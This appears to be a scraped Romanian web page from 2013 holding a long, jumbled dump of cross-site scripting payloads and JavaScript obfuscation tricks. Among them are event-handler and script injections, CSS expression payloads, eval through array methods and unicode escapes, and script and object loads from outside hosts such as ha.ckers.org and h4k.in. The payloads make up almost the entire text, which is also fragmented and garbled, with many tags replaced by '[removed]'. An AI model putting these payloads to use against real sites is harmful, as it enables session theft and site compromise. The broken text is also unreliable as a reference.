">

a(1) a(1); a=o.a; 1||2//1 1&&0//0 1&&2//2 i=alert 0||1//1 c=e(s+a); -alert(1) \u9999(1) \u9998(1) \u5001$=1 $\u5003=1 \u55FF=-1 _(a)(1); 0/alert(1) --alert(1) +-alert(1) \u9997(1) \u5000$(1) \u5001_=-1 [-alert(1)] 퐈=-1 a=#1=alert; \u002f/test /\u002ftest \u9999=alert \u9998=alert \u9997=alert \u0027test'; \u0022test"; \u002ftest/; 'test\u0027; "test\u0022; /test\u002f; @cc_off@cc_on 0 == ''//true ''in alert(1) <alert(/xss2/) v=(/t/+[])[1]; x=(/r/+[])[1]; y=(/o/+[])[1]; z=(/C/+[])[1]; d=(/./+[])[1]; o=(/n/+[])[1]; i=(/i/+[])[1]; t=String(v+y); '); alert('XSS \u0061lert(1) alert\u000a(1) /^/in alert(1) alert\u000D(1) alert\u2028(1) alert\u2029(1) 0 == '0'//true delete alert(1) typeof alert(1) throw alert(1) o={a:#1=alert}; o2 = clone(o1); alert(o1.test); alert(o2.test); window.alert(1) [removed]a=/XSS/ '' == '0'//false ~[,].map(prompt) undefined=alert; top["alert"](6); <HTML xmlns:xss> <;HTML>;<;BODY>; <? echo(';a=/XSS/ '';!--"[removed]=&{()} \";alert('XSS');// /.source;) //[removed]<?='µ'; 0/eval('alert(1)') alert(1)[alert(2)] window['alert'](1) '>//\\,<'>">">"*"4 <;HTML xmlns:xss>; [1,2].reduce(alert) false == '0'//true x[{}].valueOf()(1) x[{}]=!/\\/?{}:eval instanceof alert(1) x='aler\\u200ft(1)' eval(RegExp['$&']) o2.test = 'hello2'; alert((3).clone()); var array = [1,2,3] alert(array.pop(3)) window["alert"](1); alert(bs("window")) 0..eval('alert(1)') x[/\\/].valueOf()(1) x[{}]=!/\\/?[]:alert RegExp(/a/,alert(1)) !alert(2)in!alert(1) new Date in alert(1) a=__proto__['alert'] \u000Aalert\u000A(1) Script('/'.concat(/\ <;? echo(';<;SCR)';; e=eval alert(1)/@works_in_ff alert(1)-alert(/two/) o1 = {test:'hello1'}; alert(clone.clone()); function Anything(){} (i[-5]['eval'](i))(1) this._=window.a=null; [removed]alert("Test") \";;alert(';XSS';);// > delete ,delete a(1) > delete~/delete a(1) ['alert(1)'].map(eval) (1<<1>>alert(2)<<1>>1) (1<1>alert(false)<1>1) alert("test".clone()); <object data=//h4k.in> [removed]alert("Test"); @cc_on@_win32/alert(1) if(false);else~alert(1) false == 'false'//false ['alert(1)'].some(eval) 0[\u50002+'l'](\u50003) alert(1)['*(&£%(*&£^('] ['alert(1)'].every(eval) e=self[490837[t+s](32)]; and a fun huge button :) x[/\\/]=!/\\/?/\\/:alert $\u5001=/\u00/[-$\u5003] new RegExp(/a/,alert(1)) typeof AnYThing^alert(1) SyntaxError[a=#1=alert]; a=0[eval[-6]](alert[-6]) onmouseover=alert(1)//" ';';;!--";<;XSS>;=&;{()} <base href='[removed]'> ['alert(1)'].filter(eval) ['alert(1)',1].sort(eval) ([],[].sort)() == window \u5001_[\u5002_](\u5003_) x=[/&/,alert,/&/][1],x(1) top.* =alert,self['*'](1) x=[1,2,3].input=alert,4,5 for (i in array) alert(i) a+'lert'=='alert'? Sure! alert(1)/).concat(/ /))() '); alert('xss'); var x=' <BODY ONLOAD=alert('XSS')> <frameset> <BODY> ['alert(1)'].forEach(eval) [removed]alert(1);[removed] alert(alert(false)) \u002f**/alert(1)\u002f**/ window.alert("Bonjour !"); XSS  ['alert(1)',1].reduce(eval) x=[].reverse,x() === window ">[removed]alert(0)[removed] 0?1:!1?0:0?1:1/alert(1)?1:1 -Math.abs[(+alert(/boo/))] window.top.window.alert(4);
delete~[a=alert]/delete a(1) document.designMode=/On/[-1] j=String((/j/+[])[1]+y+i+o); 0[/eval/[-$\u5003]]($\u5002) 퐈[句](妌) 0.[!0?/eval/[~0]:$](name).@_ alternative to toString()... <body<;IMG SRC=";mocha:[code]";>; delete [a=alert],delete a(1) \\'); alert(\'xss\');var x=\' &{document.vulnerable=true;}; [removed]alert('XSS')[removed] [removed]alert('XSS');[removed] Function('a','\al\ert(a)')(1) Works for any global object :D [removed]alert(»XSS«)[removed] default xml namespace=(e)=eval /onload=alert(/xss/)></iframe> <input type="text" USER_INPUT> [removed] <;BODY>; a=alert(1) x[/\\\\/]=(/:/)[-0]?{}:(/al/)[-1] \\u50003=0[\\u50002+'l'](\u50001) alert("8:"+document["cookie"]); alert("1"["replace"]('1','9')); scriptalertdocumentcookiescript \";document.vulnerable=true;;// [removed][removed] [1,'alert(1)'].reduceRight(eval) try{IE=window=!1}catch(e){IE=!0} [].sort.call(null).alert('lose') [removed]alert(function()1+1); for(_=console.dir;_==_;_(_))_(_) default xml namespace = alert(1) ='>[removed]alert("xss")[removed] <object classid="clsid:..." cod. "> <" [removed] alert(“XSS”); [removed] <;SCRIPT SRC=//ha.ckers.org/.j>; <;A HREF=";//google";>;XSS<;/A>;

>[removed]alert('XSS')[removed]
>"'>[removed]alert(‘XSS')[removed] <;IMG SRC=";livescript:[code]";>; >">[removed]alert("XSS")[removed]& <[removed]alert("XSS");//<[removed] <input> <_ />/<_ />+~~~~~~<_{alert(1)} /> @cc_on@_ok_would_you_like_an_alert ""@cc_on,x=@cc_on'something'@cc_on foo\’; alert([removed]);//’; top[a='al',b='ev',b+a]('alert(1)') .(alert(1)) typeof setTimeout('alert(this)',0) <object data=[removed]\alert(1)> harmless=" onmouseover=alert(1)//" '>>
XSS
[removed][removed]alert(1)[removed] <input autofocus> ; "><iframe src=http://www.google.de> <video poster=[removed]alert(1)// eval(x.toArray().join('')+'rt(1)'); alert(alert(alert(alert(1).watg))) SCRIPT>alert(/XSS/.source)[removed] <@uni>c=<@/uni>/c/<@uni>[-1]<@/uni> \u5002_=/e/[\u5001_]+/val/[\u5001_] {x/*@cc_on=alert@*/}x/*@(/xss/@*/) Script(XML()..x.@y?'alert(1)':2.)() eval===self[490837['toString'](32)] default xml namespace=e('alert(1)') '">>
XSS
">[removed]alert('XSS')[removed] XSS <;SCRIPT>;alert(';XSS';)<;/SCRIPT>; <;/br style=a:[removed]alert())>; [removed]alert(/XSS/.source)[removed] ‘; alert([removed]); var foo=’ ~@_very_well?alert(1):@_there_you_go /*@cc_on@set @x=1@*/@cc_on alert(@x) alert( String(/Test/).substr(1,4) ); <@uni>b=<@/uni>/\u/<@uni>[-1]<@/uni> <@uni>z=<@/uni>/00/<@uni>[-1]<@/uni> ([0]['eval'])([{$:'alert(0)'}.$][0]) find(function(){alert(1,find())}()); XSS XSS <// style=x:expression\28write(1)\29> [removed]{alert(1)}[removed];1 xss:ex/*XSS*/pression(alert("XSS"))'> </title>[removed]alert(/xss/)[removed] x[{}].valueOf()(x[/\\/]+(/(1)/)[-1]) and:try{1in to}catch(møre){alert(!1)} a='alert';eval(<{a}>{a}+'(a)') ({strange:'stuff man'}).* = alert(1); P=function(a,b){return Math.pow(a,b)} Function.call(undefined,'alert(1)')() alert(1) <textarea autofocus> !--" />[removed]alert('xss');[removed] <;IMG SRC=[removed]alert(';XSS';)>; </TITLE>[removed]alert("XSS");[removed] <style>*[{}@import'test.css?]</style>X o={"b"getter:Function('alert(1)')},o.b top/**/['\x61\x6c\x65\x72\x74']/**/(1) 句=/e/[퐈]+/val/[퐈] ({}).valueOf.call(null).alert('lose'); " onfocus=alert(document.domain) "> <" "></iframe>[removed]alert(123)[removed] '>[removed]alert(123)[removed] XSS [removed]")> exp/*[removed][removed]<alert(1)[removed] <input><input> \\u0063\\u003d/c/\\u005b\\u002d\\u0031\\u005d \\u5003_=/a/[\\u5001_]+/lert(1)/[\\u5001_] with(this)watch('XSS',alert),XSS=false '"></title>[removed]alert(1111)[removed] <iframe ></iframe> [removed][removed]("XSS");[removed] [removed]alert("XSS")[removed]"> <body>

<;SCRIPT SRC=http://ha.ckers.org/xss.js <;IMG SRC=";[removed]alert(';XSS';)"; [removed]alert("XSS")[removed]"> <body><input autofocus> <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(write(1))}</style>

</textarea>[removed]alert(/xss/)[removed] \u0062\u003d/\u/\u005b\u002d\u0031\u005d \u007a\u003d/00/\u005b\u002d\u0031\u005d this.watch('_',function(){return eval}); .0.*?1.:Script(.0.*?1.:'\134u006eame')() [removed]var var = 1; alert(var)[removed] <BASE HREF="[removed]alert('XSS');//"> <iframe/ ></iframe> <iframe/ ></iframe> [removed]a=/XSS/nalert(a.source)[removed] <BGSOUND SRC="[removed]alert('XSS');"> <;IMG SRC=';[removed]msgbox(";XSS";)';>; <;/script>;<;script>;alert(1)<;/script>; [removed]alert(document.location)[removed] ""@cc_on,x=@anything 'something'@anything “>[removed]alert([removed])[removed] eval(toNonAscii("return alert"))('123'); [~alert(1)] --> writes -1 instead of NaN. Execute(MsgBox(chr(88)&chr;(83)&chr;(83)))< <body> XSS

Postat la 01 Martie, 2013



Precedenta 1 2 3 4 5

Site-uri Partenere: Seminee Prahova Business Monitorizare GPS Voicemarket